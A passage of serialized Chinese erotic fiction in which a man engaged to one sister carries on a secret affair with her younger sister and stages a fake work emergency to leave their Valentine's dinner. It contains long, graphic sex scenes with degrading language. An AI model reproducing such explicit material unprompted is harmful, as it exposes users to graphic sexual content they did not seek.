弹性十足的臀肉在酷刑下变的红肿,掌印增添了淫糜的气氛,赤裸的蜜桃不停摇晃着,反而像在索讨我的惩罚。十根指头陷入臀肌,用力按揉着,像是黏在手掌心上的美肉结实而柔软,火烫的热力为噬人的欲望加温。

“姐夫,你不能插进来啊!”婉婷故意用淫猥的语气勾引我。

高举的巨棒趁势挺动,无比湿润的肉洞毫无困难地接纳我的侵犯,狭窄的径道兴奋地收缩着,因为我的挺送而狂喜。

“喔!”

“姐夫正在插你喔!”

“不行,姐姐会生气……姐夫不能用那么粗的大肉棒插人家啦,姐姐……随时会回来,不可以啦。”

“慧仪如果回来,我就把你们姊妹俩一起肏!”

我抱紧婉婷的纤腰,狂野地冲刺着,密集深耕鲜嫩的沃野,指头掐着多汁的臀丘,大力揉捏着肿胀泛红的部位,混合疼痛的奇妙快感让婉婷更加兴奋,主动扭腰加速着彼此结合的频率。

“姐夫!姐夫!你插的太深了,人家快要受不了。”

房间里回荡着淫声秽语,不断提醒我,狂干的不只是美丽诱人的女体,更是在干慧仪的美丽小妹。

“满满的…那里被撑开……好舒…服喔…”

腰部被婉婷的双腿紧紧夹住,下半身规律地撞击着,被缠绕吸吮的快感层层交错,逐渐提升到无法再忍耐的程度。我压住柔弱的娇躯,利用全身的重量与冲劲,不断延续最后一波的突击,大量的喷射灌溉在秘洞深处。

原本应该是十分忙碌的周三午后。

我跷班,婉婷跷课。

经过午餐加上电影制式的约会行程之后,我们匆匆回到婉婷家里,从床上到客厅,变身成为发情季节的动物,珍惜每一秒钟恣意地交配。

无论是充满情趣的扮演游戏或近乎原始的交媾,只有一种目的。

我像是个十几岁的少年,脑海完全被一种单纯念头所充塞,生物最简单而直接的本能支配所有的行动。

嗅着诱人的体香,眼前尽是魅惑起伏的曲线,耳畔不停传来阵阵喘息,所有感官不由自主地集中于女体上。

客厅的沙发实在太软,难以支撑、施力,婉婷半蹲半站着,努力扶着沙发的椅臂,承受着猛烈的攻伐,逐渐弯曲的玉腿似乎不堪连续的猛袭,整个人快要跪倒了,却不停将结实的隆臀翘的更高;开放的户外空间里,我们穿梭在挂满衣服的阳台,午后清爽的微风穿过近乎全裸的身躯,婉婷一面轻声喊羞,一边激动地扭动着纤腰。

然而,在慧仪的房间里,她的情绪则显得特别高昂。

床单上沾满了薰衣草淡雅的气息,随着淫糜的举止,诱人的香甜浓度越来越高,蜜洞浓郁的分泌逐渐掩盖住我最熟悉的气息。

“婉婷好淫荡,好像一只喜欢摇屁股的小母狗!”

“人家…是…母狗,是姐夫养的…小母狗!”婉婷激动地哭喊道:“姐夫快点来…快点,人家想要……”

“那你还不把下流的屁股翘起来!”

婉婷委屈地擡起结实的美臀,看着她扭臀的放浪姿势,心底洋溢着一种征服的快感。外表可爱纯真的少女正因为我的挑逗而兴奋发情,显露出令人意外的痴态,混和着欲望与爱意的表情令人难以想像的美。

火热的棍棒一口气挺入鲜嫩的肉洞!

像一头发狂的雄狮由背后猛戳着,结实的臀肉碰撞着腹肌,两人的性器紧迫地接和着,强烈的弹力不会让我却步,更加刺激雄性嗜血的兽性。舔着、咬着婉婷光滑细致的美背,在女体上增添着臣属于我的烙印,当然我身上不易看见的所在也留下了象征爱的记号。

从未有过的激情剧烈燃烧,将理智及规则焚化殆尽,深处沈睡的某种本能正在觉醒,对于欲望的贪恋超越一切,表面上,我正随意摆布享用着多汁美丽的胴体,事实上我早已成为婉婷的俘虏。

那是属于真实情感的一部分,抑或只是单纯的宣泄,迷失在官能漩涡中的我无从判断,难以克制的反射作用是如此原始直接,没有一丝做伪。

终于,精疲力竭的我们相拥倒在床上。

“嘿,好像一口气做了太多次。”我无力地苦笑道。

一方面身心真正感到疲惫,另外同时也会担心婉婷是否能负担如此激烈的性爱享受,尤其迎接最后一次高潮时,不断痉挛的娇躯好像要爆开一般。

没想到,婉婷的答案却是出乎意料……

“才不会太多次,人家还嫌不够呢!”

“人家跟姐夫相爱的次数一定要比姐姐更多才可以。假如姐夫跟姐姐做了一次,我们就要做两次、三次,甚至一百次!”婉婷认真地说道。

“一百次吗……”

将一百除以每周正常勃起的次数,得出的数字令人冷汗直流,尤其我可是储存了好一番精力,才能应付如此荒淫的午后。

喘着气,看到床单上片片泥泞的痕迹,还有婉婷双腿之间残留的浊精,婉婷从前曾经堕胎的往事突然闯进我的脑海之中。

“呃……我们每次做爱都没戴套,这样没关系吗?”

“嗯,人家有算过,这几天都很安全。”婉婷奸笑道:“倒是姐夫不要传染什么奇怪的病给人家喔。”

“还是小…心点比较好,毕竟婉婷以前曾经堕胎…过……”

“咦!?”

望着婉婷讶异的表情,我的脸颊顿时红了起来,我难堪地解释道:“…是慧仪…告诉我的。”

婉婷嘟着樱桃小嘴,默默凝视着我。

“姐夫心底一定很看不起人家?”

小女孩受伤的表情像是惹人爱怜的小白兔,我忍不住责怪自己的愚蠢,竟然在床上讨论如此煞风景的话题。

我严正地说道:“姐夫绝对不会这样想的!”

“姐夫怎么想都没关系。”收拾起委屈的表情,婉婷吐着舌头,扮起俏皮的鬼脸,说道:“跟姐夫在一起的我就是最真实的我,人家对姐夫所说的话全部都是认真的喔。”

“嗯,我知…道……”

“其实,姐夫反倒是应该要注意姐姐。”

“慧仪?”

“姐姐不只是姐夫想像中的温柔娴淑,还有很可怕的一面……”

虽然婉婷的语气尽量平缓,语词之间依旧无法掩饰一股淡淡的恨意,令我感到讶异的是,无比契合的姐妹内心似乎存在深刻难解的心结。

我很想继续追问下去,却没有开口。

抗拒着同时思考俩姐妹的事情,抗拒着总有一天必须面对的后果,我像是愚蠢鸵鸟把头埋在地底,采取一贯的逃避态度。

“对不起,姐夫今天有点事,必须要先走了。”

“要去跟姐姐约会吧?”

我只能选择沉默以对。

“哼!快点滚吧!”婉婷用枕头压住脸,一股脑钻进被窝里面。

拥挤的街头。

似乎半个街道的人潮都涌入这间戏院。

虽然有某大影展获奖背书,爱情电影沈闷的情节永远都不适合我,原本连租DVD欣赏的兴致都缺乏,可是我却在同一天、同一家戏院看了整整两遍。

相较于我的兴趣缺缺,慧仪则显得兴奋多了。勾着我的臂弯,小脸靠在我坚实的肩膀上,甜蜜地互相依偎着。

“子浩,你刚刚洗过澡吗?”摸着还带点水气的头发,慧仪问道。

我逞强辩解道:“怎么可能!我刚刚才下班呢。”

“可是有洗发精的味道……”

“最近同事推荐新的牌子,香味很持久,下次你也试试看吧。”我勉强搪塞说道:“呃,我们可以进场了。”

漆黑的电影院比起下午的冷清显得热络许多,我们的座位距离下午的位子只有一排之差。应该是心理因素作祟,虽然我彻底改变了服装打扮,售票小姐望着我的眼神带些狐疑的意味,不光是一天连看两遍电影的愚蠢,对待身旁不同的两位女伴,态度同样地亲昵,大概也是引起侧目的原因之一。

开始播映与下午相同的情节。

英俊的男主角再一次负心、再一次跪在女主角面前深情忏悔,朗诵着催泪的

感人对白。当所有观众们揪着心猜测,痴情的女人是否会再度原谅依然爱她的男人,全场只有知道结局的我默默移开视线。

望着在相同情节落泪的慧仪,我的眼眶突然感到一阵酸意。

姊妹情缘(4)

“既然你喜欢,我们就常常去吃啊。”

所谓“昂贵”的代价如果能换来恋人满足的笑靥,无论如何都不算奢侈。这也是我承认物质与精神换算的唯一公式。

慧仪摇摇头,微笑说道:“在最重要的时刻,跟最重要的人一起享用,这样才有意义,常常吃反而没意思了。”

“美味的料理不光用嘴巴品尝而已,还要用“这里”细心体会。”慧仪轻抚着我的胸膛,柔声说道。

所谓最重要的人与最重要的时刻:跟我一起享用精致的情人节料理,这是我们每年规划的重要节目之一。

可是,三天前,我俩长久的默契面临严重的挑战……

“今年的情人节要跟姐姐一起吃义大利料理庆祝吧。”

“嗯,跟前几年一样,我跟慧仪约定好的,每年都在哪家餐厅庆祝。”我打着领带,一面调整着领口的折痕。

“人家孤单一个人说不定会过度寂寞而死……”

躺在凌乱的床铺上,半裸的婉婷低着头,手指缠绕拨弄着红色的发丝,嘟着可爱的小嘴,装出一副可怜兮兮的委屈模样。

“婉婷可以跟好朋友一起吃个饭、唱唱歌啊,让姐夫出钱好吗?”

“人家才不要在情人节跟朋友去吃饭,那多可怜啊。”婉婷用力把枕头丢向我的脸,任性地大喊道:“不管啦!情人节一定要陪人家!”

一旦发现低姿态的无用,态度立刻转为强硬,虽然我参与过无数次的商务会议之中,也鲜少遭遇过如此高明的谈判高手。

“别这么任性嘛,姐夫很为难的。”

“姐夫,这是我们的第一个情人节,也是最有纪念性的日子,求求你给人家一个美好的回忆。”

眼眶里打转的泪水似乎随时会因为我的一句话而决堤氾滥,婉婷湿润的双眸蕴藏着深厚的情意,深情凝视着我。

其实有些选择根本没有选择的余地……

原本企图预约六点整的位子,在最早的时间内结束晚餐。

“傻瓜,哪有人这么早就吃情人节晚餐,餐厅都还没开始营业吧。”慧仪在电话另一端轻笑道。

“那…六点半呢。”

“七点半好吗?今天公司要举行每月例行会议。”

“喔,那我订七点十五分可以吗?”

电话被匆匆挂掉,慧仪似乎拿起另一支分机,接听工作方面重要的电话,脑海里插入婉婷嘟着小嘴的抱怨模样,我不禁陷入沈思。

晚间六点半,我步进餐厅。

幽暗的情调之中只有几盏烛光闪耀,鲜红的玫瑰点缀出绝佳的气氛,餐厅的座位坐了九成满,清一色是举止亲昵的恩爱情侣。

美丽有礼的服务生第四次帮水杯里添水,原本笔挺的餐巾被我不经意地揉皱了,一个人不安地坐在餐厅里,不时注意着手表上跳动的指针。

时间已经接近八点。

“抱歉,路上塞车。”

八点十七分,只见一脸歉意的慧仪匆匆跑进餐厅。

我强忍着情绪,微笑道:“没关系。”

慧仪褪去浅灰的长外套,一袭银白色的洋装大方而典雅。

摇曳的烛火映照,慧仪精心装扮的脸庞格外美艳动人,柔顺的直发泛起几许

波浪,略嫌单调的笔直中增添无限风情。香肩半露,秀出刀削般的优美曲线,背后白皙无瑕的肌肤在整块缕空的设计下展露无遗,胜过羊脂温玉的雪白细致令人惊艳不已。

由颈子到锁骨一带流露出骨感美的性感,露背的华美设计应该无法穿一般的胸罩,整件礼服完全系在脖子背后的衣结,只需要轻轻一拨,好奇心让雄性的分泌不断增加。

“等很久了吗?”

“不会,工作都结束了吧。”我凝视着涂满嫣红的芳唇,忍不住握紧慧仪的小手,淡淡笑道:“我们先点菜吧。”

透明的香槟在玻璃杯里激起气泡,增添几分醉人的滋味,慧仪脸上洋溢着幸福的笑容,享用蕃茄佐起司的开胃前菜。

看着温柔婉约的慧仪,我实在难以想像婉婷口中的“另一面”,是否只是妹妹嫉妒姐姐而生出的虚构反击,或是在慧仪精心包装的体贴之内,藏有我难以想像的真实……

主菜登场前的喘息时间,我们俩人五指紧扣着,谈着油腻的情话,慧仪低声笑着,或许是最近说惯了,我毫无困难地说着肉麻恶心的语词。

“情人节礼物。”我故做神秘的拿出公事包里面的精美包裹。

“不是说好不用送礼物的,我完全没有准备呢。”

慧仪讶异的表情中带着一点慌忙,突出其来的浪漫似乎让她有点不安,我微笑着把礼物推到她怀里。

“没关系,这是个特别的惊喜。”

一串银质镶水钻的项链。

在路旁的珠宝店看到之后,我不加思索就买了下来,甚至连金额都记不太起来了,近来我开始习惯用直觉本能去做事,或许一旦用理性去检视自我,只会让自己更加挣扎、痛苦罢了。

“喜欢吗?”我亲吻着慧仪青葱般的玉指。

“嗯,好美!”

闪耀的项链挂在天鹅般优美的长颈上,比在摆在展示柜里要美丽数百倍,慧仪脸上堆满笑容,原本细长的凤目几乎要被笑脸淹没了。

宛如公主与王子般的童话,一切都是如此幸福美好,今晚似乎可以忘怀工作方面难缠的客户、数十年的房屋贷款,只要尽情放松,享受情人之间的浓情蜜意就好了。

偷瞄了一下手表。很遗憾的,我跟未婚妻共享的浪漫时刻只剩下一个半小时。

“婉婷今天要跟男友一起过节。”慧仪用洁白餐巾擦拭唇边的肉汁,淡然地说道:“还说晚上不回来睡了。”

“是吗?”我叉弄着盘子里的白肉鱼,问道:“你不会担心吗。”

慧仪摇头答道:“婉婷毕竟长大了……”

“而且,我感觉婉婷对这次的感情好像很认真,不像是之前随随便便交往的样子。总之那种沈醉在爱河里的感觉,身为女人一见到就懂,反倒是男人永远都不会明白的。”

“咳!咳!”

原本顺利滑入口中的食物硬生生哽在喉咙里,我顾不得餐桌礼仪,大声地咳嗽着,勉强喝着慧仪递来的水。

与婉婷的相处宛如恋爱一般的激烈,无论肉体或心灵方面,每次都有全新的刺激,炽热而狂野地如同猛火焗烤。相较之下,虽然还没有正式结婚,我们之间的情火仿佛已经转弱,宛如炖煮般的温润平淡。

我坦承当慧仪告知婉婷曾经怀孕时,我内心确实有负担,对可爱的少女不自觉保有警戒心,害怕破坏捧在手心的幸福,但是最终还是迷失了自我。

到了慧仪最期待的甜点时间,情人节的晚餐将划上完美句点。

“我去一下厕所。”

站在厕所转角处的回廊,我默默捻熄指间的半根香烟,脑海中俩人的倩影不停翻滚着,但是婉婷可爱的笑脸突然占据了全部的画面,整晚起伏不已的心情瞬间沈淀下来了。

苦心设计的计划开始了……

首先是我的手机开始大声作响,事前当然已经将音量调到最高。

平常慧仪绝对尊重我的私隐,可是在高级餐厅里,为了不打扰其他人,她只好勉强接这通电话。电话里语气紧张的同事会婉转透露一些,并且急迫地想要找我,然而目的是为了烘托出悬疑的气氛,此时也是我重新登场的时刻。

“有什么要紧的事情吗?”

“没…事…”

我故意簇起眉头,嘴上却说的一副若无其事。

“倒底发生什么事了?”

“工作现场发生一点小事故,不怎…么…严重。”

慧仪继续追问道:“他们听起来好像很着急。”

我低声埋怨道:“应该找别人去吧,那些已婚的前辈们完全不懂顾及我们未婚情侣的心情,今晚可是难得的情人节!”

这番心境倒不是全然作伪……

“有新的情况发生,其他同事会再打电话来联系。”

“那是属于你的工作范围,你应该要负起责任,还是应该亲自去一趟现场比较好。每年都有情人节,不用太介意。”

我假意低头认真思索,慎重地说道:“慧仪,对不起,那我先回公司了解一下状况,如果问题解决了,我会马上赶回来。”

“嗯。”慧仪点点头,温柔地目送我离开。

冲出餐厅大门,我匆忙地跳上车。

闪电般的疾速奔驰划破了漆黑的夜色。

饭店房间里很暗,连一盏灯都没开。

手捧着一大束火红的玫瑰,还有粉红色的超大型绒毛玩偶,我望着缩在房间角落的婉婷,心底升起一丝怜意。

墙上时钟的指针已经走过十一点了。

“情人节快乐!”

婉婷低头不语,我却看见她红肿的眼角,还有玉颊上的泪痕。

“你哭了吗?”我递出手中的花束,说道:“对不起,我来晚了……”

婉婷望着鲜艳的玫瑰,慢慢绽放出灿烂的笑容,仿佛雨后美丽的彩虹,立刻飞奔到我的怀里。

“人家以为姐夫不来了,又不敢打电话,忍不住就…哭了。”

我沿着婉婷的眼眶亲吻,吞下咸咸的泪珠。

“姐夫一定觉得人家太黏人、太任性,所以跟姐姐一起开心地过情人节,完全把人家忘了……”

“小傻瓜,姐夫怎么舍得呢。”

深情的拥吻让婉婷笑了,迎过来的樱唇比晚餐的蕃茄更甜美。

“姐夫,人家美不美?”

婉婷穿着一袭黑色的礼服,显得分外成熟美艳。胸前V字领的开口露出一大截丰满的胸肌,蜂蜜般的色泽让人忍不住去品尝醉人的甜腻,衬托起来的峰沟更加雄伟诱人。

“好美,今天是我见过婉婷最美丽的一天。”

“那人家的新衣服漂亮吗?”

我轻声笑道:“我刚刚说的就是婉婷的衣服啊。”

“姐夫好讨厌喔!”婉婷嘟着嘴推开我,缓步走到窗前。

整片落地窗前面,只见她慢慢拉下拉链,整套礼服瞬间滑落在地毯上,全身只剩下银色的高跟鞋,还有环着纤腰的银质腰链,与一大串累赘的挂炼,耀眼到让我睁不开眼睛。

窗外一片无声的黑暗,只有大楼墙面闪烁着由人工星辰组成的华丽美景。婉婷靠在落地窗上,晶莹的胴体溶入暮色之中,亮丽的群星在娇躯上放光,构成绝美的风景,动人的夜色不及她的美丽于百万分之一。

弯曲的小腿结实滑润,高跟鞋在几近全裸的女体上展现优雅而淫猥的美感,擡起的翘臀强调出女性最肉感丰腴的部位,饱满的没有一分瑕疵,光滑的美背不断向后折,构成柔顺而绮丽的曲度,牵动着浑圆的椒乳不停颤抖,淋漓尽致地展现着曲线之美。

女体之美达到极致,近乎完美的胴体竟然让我无从下手,颤抖的双手想要碰触上天创作出的完美艺术品,却被婉婷一把推开,纤细的指头自行在娇躯上摸索着,分别朝上下游走。

“哼!不准碰人家。”

涂满蔻丹的玉指在胸口抚弄,充满弹力的乳肉由指缝间满出来,指尖大胆地在秘核上弹奏,热情地挖弄着鲜红的嫩肉,诱人的呻吟随着激烈的动作越来越浓厚,扣人心弦的哼声在房里低回。

“喔喔!”丰满的乳球快被挤爆了,婉婷拧着成熟的樱桃,顺时针旋转着,手指挖弄的频率越来越快,向内弯曲的玉腿不停发抖,似乎忍不住猛烈溢出的快感,扭着屁股的婉婷好像快要跪到地上了。

我仿佛失魂的人偶靠近婉婷,高达五公分的鞋跟毫不留情地踩着企图作怪的大手,手背上立刻多了一块深红的鞋印,婉婷忍着邪恶的笑脸,摆出女王一般骄傲的表情。

扭着水蛇腰,作弄地弹了一下狠狠勃起的阳物,丁香舌头轻巧地在龟头上蜻蜓沾水似的一点!

我不由自主发出一声哀嚎。

“姐夫的肉棒变的好粗、好硬喔。”婉婷娇媚地说道。

含住滚烫的肉柱,涨到痛的肉棍上沾满鲜红的唇膏印渍,淫糜的声响,婉婷专注地舔弄着污秽的肉缝,清纯的面容衬着丑恶的肉棒是难以形容的画面。

轻柔含蓄的舔弄才揭开序曲而已,她立刻将整涨大一倍的肉棒整支吞下,开始激烈地吸吮,口腔黏膜完整包覆,邪恶的小舌头在肉冠边缘刮弄,胸前两团软肉左右夹住棒身,贴身侍奉着,被动的磨蹭跟主动揉捏的感觉是截然不同的。集中在马眼上盘旋,节节攀升的快感冲破临界,我忍不住把浓精射进小嘴里。

婉婷眨着楚楚可怜的大眼睛,表情无邪地望着我,微鼓的小嘴里全都是我污浊的种子。只见娇弱的喉头颤动,丁香意犹未尽地舔着樱唇,黏稠的白汁在红润的唇边牵出细丝,小舌轻巧地一卷,慢慢咽回了口中。

总是站在主动位置的我化为被动,婉婷利用她傲人的天赋彻底征服了我,沦落为少女的玩物。

“姐夫的精液…好浓、好好吃喔。”

肉棒在小手反复地搓弄之下,逐渐涨起,我狠狠抱住了婉婷。

香醇的红酒由我的嘴里灌入婉婷口中,放肆的舌头狂乱的搅拌着,交换着唾液与葡萄纯酿调合成的鸡尾酒,几滴酒渍溅在凹陷的深沟里,缓缓在娇躯流泄,妖艳的的酒红色沾染了健康热情的小麦色肌肤。

玫瑰花瓣洒落在高挺的酥胸,比娇花还要美丽的蓓蕾鼓起,硬挺如红色的宝石,我无礼的门齿嵌住可爱的乳珠,大手朝漆黑的草丛探索,双腿之间早已一片湿漉漉的沼地,火热的肉洞比火山孔还要炙人。

“我要干死你这只小妖精!”

用力掰开弹性超群的臀丘,湿润充血的好色模样令我忍不住咽下口水,肉棒使劲顶入蜜洞,一口气插到深处。扶着不停扭动的隆臀,一手握住弹跳的乳峰,紧密扎实的结合容不下一丝别的事物。规律地抽插着,舔着由脖子、耳后流下的汗水,我跟婉婷交流着不可分割的快感。

窗面将我们交媾的下流姿势反映出来,我拉高婉婷的左脚,接合的部分完整呈现在侧面的玻璃墙面上,越是猥亵越激起彼此的情欲,我与婉婷忍不住注视着肉棒在嫩穴来回进出的妖艳景象,画面重叠的快感仿佛被叠加起来,猛顶着一圈圈软肉,性器刮蚀的酥麻直冲脑门。

“喔喔喔,姐夫插的人家好爽,用力插,快把人家的骚穴插爆啊!”

我把婉婷强压在玻璃上,由后方继续挺动着,受到压迫的椒乳在窗上挤成不可思议的美丽图案,朝四边扩散成奇妙的椭圆形。婉婷紧贴在玻璃上承受着狂野的抽插,毫不退让地挺着香臀,激烈的冲撞似乎随时要震碎玻璃,但是我们内心完全没有任何惊恐,无限延伸的快感淹没了一切。

“姐夫,你比较爱人家,还是比较爱姐姐?”

“我…比…较…爱婉婷……”腰眼的酥麻即将释放,冲口而出快感前所未有的强烈,肉棒攻坚着酸软的娇躯,持续着宣泄带来的抽搐共鸣。

浴缸盛满微烫的热水。

磨擦着光滑而充满弹性的肌肤,水珠、泡沫在小麦色的表面上滚动,婉婷枕在我的肩头,翘臀坐在我的小腹上,丰盈的双乳不停蹭着我的胸口,俩人一起享受饭店豪华浴缸的按摩水柱。

我全身放松,感受着官能全面的接触,脑中却不停窜入各种想法。

前年,慧仪跟我以疯狂做爱来庆祝情人节,俩人抵死缠绵直到当晚无法再硬起来为止;去年,我们在床上拥抱着,聊了一整晚对未来的憧憬,甚至连孩子的名字都在笑闹之中决定了。

今年,我不知道慧仪会在餐厅里等到几点,也猜不到之后她会去何处度过情人节最后的几个小时……

思绪紊乱,跨下不知何时再度恢复了精神,横在婉婷双腿之间的硬物悄悄擡起头来,怀里的小可爱发出又羞又喜的笑声。

抱紧诱人的细腰,咬紧牙关的我舍弃了杂念,不再胡思乱想,在浴室里继续迎接今晚第三次高潮。

姊妹情缘(5)

一个适合出轨的午后。

“我该走了。”轻轻拍打着浑圆结实的翘臀,我柔声说道。

旅馆的双人大床上,汗珠在蜜色健康的肌肤表面滚动,完美的起伏让视线舍不得移开,缠绵之后的娇躯有种独特的性感魅力。

“姐夫别走嘛,我们住下来,晚餐叫客房服务,整晚都不下床……”一双电眼释放诱惑电波,婉婷撒娇的语气总是令人心软。

我苦笑道:“今天陪你逛街两个小时,买了新包包,还不满意吗?”

婉拒了购买情侣装的提议后,我不得已用十倍的价格买下昂贵的名牌提包,勉强安抚婉婷波动的情绪,不至于在大街上演出闹剧。

“可是,每次最后的目的地都是旅馆……”

燃起香烟,我有点心虚地问道:“不喜欢跟姐夫做爱吗?”

“人家只是想要多一点时间跟姐夫相处。”

“不要无理取闹嘛,我上班很忙的。”

婉婷抱住我的颈子,以挺茁的丰乳不停向前磨蹭,轻轻往我耳朵里吹气,腻声说道:“那再来一次好吗?”

“你想把姐夫累死啊。”

以为安渡情人节就可以喘一口气,这种想法果然太过于天真。如同我对欲望的执着日益成长,婉婷对我的依恋越来越深刻到露骨的程度。

婉婷突然拉长了脸,冷淡地说道:“其实姐夫是要回去陪姐姐吧?”

既无法否认,也不愿意承认,我只能选择闭上嘴。

“既然姐姐上次说了人家以前的事情,人家也讲一个小故事给姐夫听。”婉婷突然间提出突兀的话题。

虽然对听故事没有很大的兴趣,我却很乐意转移眼前的尴尬。

“从前有一对姊妹,她们的感情非常好。”

“年轻的妹妹爱上某个男人,由于她们家教很严格,禁止恋爱,所以她只把心底的秘密告诉她最爱的姐姐。妹妹跟男人很顺利地交往,俩人感情很好,甚至约定一毕业就立刻结婚。这是妹妹的初恋,她非常庆幸自己如此幸运能够找到真爱。”

婉婷脸上不见往常的笑容,以平淡的语气简单描述着,偶尔提及故事中的男主角,俏脸会不经意绽放一丝笑意,但是随着故事的继续行进,甜蜜的感觉立刻消失无踪。

“可是,姐姐似乎不认同这段感情,总是对妹妹说男人的坏话。妹妹一直以为只是彼此看法不同,或是姐姐嫉妒自己美好的恋情,完全没有把姐姐的话放在心上,直到有一天,她照例去男友家,却无意发现一件惊人的事……”

背后突然感到一阵凉,莫名的寒意上心头,我忍不住打了个冷颤。

“妹妹想给男友一个惊喜,事先完全没有联络,就偷偷来到男友家。”

“才一进门,她就隐约听到呻吟跟喘息的声音,万万没想到,当她悄悄从房间门缝看进去,居然发现她最爱的男人跟另一个女人在床上,而且那个女人还是妹妹认识的人……”

婉婷历历在目地描绘着当时的景象,连一点小细节都那么清楚,仿佛骇人的一幕正在我的眼前演出。

“…那…个女人…就是……”

婉婷恢复轻松地回答道:“嗯,那个人就是姐姐。”

“之后,慧仪……不…姐姐怎么…跟妹妹…解释…呢…”

“妹妹从来没让姐姐知道她发现了这个秘密。”婉婷淡淡说道:“结果妹妹很快就跟男友分手,当然是被抛弃的,这个故事也暂时结束了。”

我傻傻听完婉婷的故事,像是被轰了一拳,脑袋里一片空白。

理智上无法相信温柔的慧仪会做出这种事,但是婉婷语气中透露出的肯定让我无从怀疑,问号充斥在脑海中。

“姐夫,时间不早了,你该走了。”

“喔…对……”

机械式收拾完毕,我穿戴整齐走出房间,关上房门之后,我竟然站在旅馆房门口发呆,步伐完全无法向前踏出去。

疑问不断缠绕纠结,在心头挥之不去。

难得的周末。

慧仪细心搅拌着锅子里的奶油浓汤,虽然一旁不善厨艺的婉婷只是负责帮倒忙而已,但一身围裙的俏丽模样让和谐的景色更生动怡人。

天真可爱的妹妹与娴淑端庄的姐姐并列在厨房,仿佛一幅美丽的图画,同时拥有如花朵一般的姊妹大概是天下所有男人的心愿吧。

然而满足此愿望的我却没有想像中的无忧无虑……

婉婷的步步迫近开始让人有点喘不过气来,我必须学习在日常生活之中点缀谎言,尤其当沈淀下心情,罪恶感不断侵蚀着理性,另一方面,习惯的温柔突然添上一层薄薄的隔阂,婉婷说的故事太过吓人,让人害怕故事背后隐藏的真相,不,或许我是害怕隐藏在姊妹心底的真相。

心头似乎笼罩上一团不祥的阴影……

“婉婷也该学学做菜了,当心以后嫁不出去。”

“反正人家也不急着结婚,不然就让姐姐和姐夫一辈子照顾我好了。”婉婷语气中特别强调“姐夫”二字。

“你在说什么傻话,姐姐也没办法一辈子照顾你这个小麻烦啊。”

打开冰箱,慧仪突然惊唿道:“啊,我忘记买花椰菜了!”

“不用了,反正我也不喜欢吃青菜。”我随意说道。

慧仪皱起眉头,唠叨说道:“均衡饮食是非常重要的,尤其深绿色蔬菜一定要天天吃,而且色调搭配上没有绿色不太好看。”

“那我到隔壁超市去买吧。”我一想到要跟婉婷单独相处,不禁有点心虚和担忧,毫不考虑地自告奋勇。

“不行,一定要买有机蔬菜才行!”

“那间蔬菜店还蛮远的,出门先右转,走过两条巷子之后,再向……最后左转,算了,还是我自己去好了。”

临走前,慧仪还不忘慎重叮咛道:“汤要多搅拌,不然会烧焦喔。”

“姐姐,人家知道啦。”

婉婷招唿着慧仪出门,笑容灿烂到有点令人疑窦。果然,慧仪的前脚才踏出门口,我担心的事情立刻发生了……

“姐姐手上载的是订婚戒指喔。”婉婷搅拌着浓汤,不经意提道。

永远不要低估女人对某些事物敏锐的观察力。

“嗯。”我反射性把右手藏到背后,掩饰无名指戴的同款对戒。

“喔,真是甜蜜喔。”

“还好……”

婉婷一脸邪恶的笑容,爬上了餐桌。匀称无瑕的玉腿摆成M字型,一层层掀开围裙跟短裙,尽现裙底风光,水蓝色的内裤完全缕空,丰富的蕾丝缀边增添华丽感,大胆煽情的设计由婉婷穿起来,展现出另一种可爱的魅惑风情。

“别闹了,慧仪随时会回来。”

“那间店很远,不会那么快就回来的。”

性感火辣的胴体摆动,绝对会让任何男人扯旗投降,但此时我只担心慧仪随时会返家,根本没有余力去欣赏婉婷的娇躯。

“姐夫,很刺激吧?很有偷情的快感喔。”

心里几乎要骂出脏话了,汗水从额角慢慢渗出,我继续强撑着笑脸,耐心劝说道:“拜托,汤会烧焦的。”

“快点摸人家啦。”婉婷噘着小嘴,调皮地说道:“姐夫再拖下去,姐姐真的要回来了喔!”

我一口气扯下精致性感的内裤,花瓣般娇艳的秘肉流泄着比奶油浓汤还要黏稠的汁液,紧贴胸膛的丰满肉球晃动着,粉红色的蓓蕾挺立绽放着,婉婷轻轻咬着我的耳垂,亲昵地吻着。

“姐…夫…用戒指…弄人家那里……”

坚硬宝石摩擦鲜红的肉色珍珠,两颗宝珠互相辉映,说不尽的灿烂夺目,湿黏的谷地一片泥泞,流出的甘蜜滑过大腿内侧,湿透了桌巾,美艳淫糜的景色让人忍不住吞口水。

双腿努力分开到最大的角度,腰部也卖力地扭动起来,满脸红潮的婉婷发出激昂的哼声,滴着淫蜜的神秘花园缓缓向我逼近。

“姐夫怎么不快点插进来?”

我苦笑说道:“我现在怎么可能硬的起来!”

“那人家先帮姐夫舔一舔好吗?”表情纯真的婉婷毫不掩饰地使用露骨的言词,大胆地解着我的皮带扣子。

“求求你,我的大小姐别玩了,姐夫真的不行……”

压抑着生理反应,我的眼光忍不住偷瞄着大门,两手敷衍地揉捏着弹性惊人的硕乳,不时与婉婷激烈舌吻。

“哼,那你的戒指让人家看一下吧。”

虽然万分委屈,我只好恭敬地双手奉上戒指,原本幸福的象征现在沾满了情欲的分泌,奇妙的光泽看起来更加闪耀亮眼。

“姐夫下次也买只戒指给你吧,最近广告一直在播,由女歌手代言的那种款式好吗?”我注视着婉婷复杂的表情,心情无比紧张,尾音忍不住颤抖。

“哼!那种普通又没意义的戒指,人家才不要呢!”

婉婷嘟着嘴要把戒指递回来,我总算偷偷松了一口气。

“啊!”只见婉婷突然小手一缩,大声喊道。

“唉呦,人家不小心松了手,戒指掉进汤里面了!”婉婷慌张大叫道:“姐夫快点把戒指捞起来,不然等一下姐姐发现,姐夫会很难解释喔。”

俏脸上不见半点歉意,反而露出一丝狡猾的奸笑,然而,又气又急的我无暇对婉婷发怒,连忙低头在浓汤里翻找着。

浓稠的汤汁完全不见底,里面全是大小跟戒指差不多的蔬菜切块,溅出的汤汁十分烫手,冒出的热气完全模煳了视线,难度可比拟大海捞针。

“嘻…嘻。”婉婷看着我手忙脚乱的模样,忍不住偷笑出声来。

强忍着心中的怒意,我继续在汤里翻动,终于,在浓白的汤汁当中发现隐约透出一小块光亮,心情激动的我顾不得手背烫到起泡,慌张地打捞不断在汤匙之间沈浮的目标。

就在最关键的时刻,大门突然打开。

我心头一阵惊恐,手中的汤杓不小心滑回到锅里,最后的希望慢慢消失在乳白色浓汤当中,完全看不见了。

我整个人同时沈入无尽的绝望之中……

“好香喔!”

“是用鸡骨、蔬菜慢慢熬煮成的,跟用汤块速成的味道完全不同喔。”慧仪满脸笑容,非常满意地解说道。

餐桌上摆着三盘香热的奶油浓汤,还有刚出炉的松软面包。

婉婷大声称赞道:“嗯,加了花椰菜果然比较好吃。”

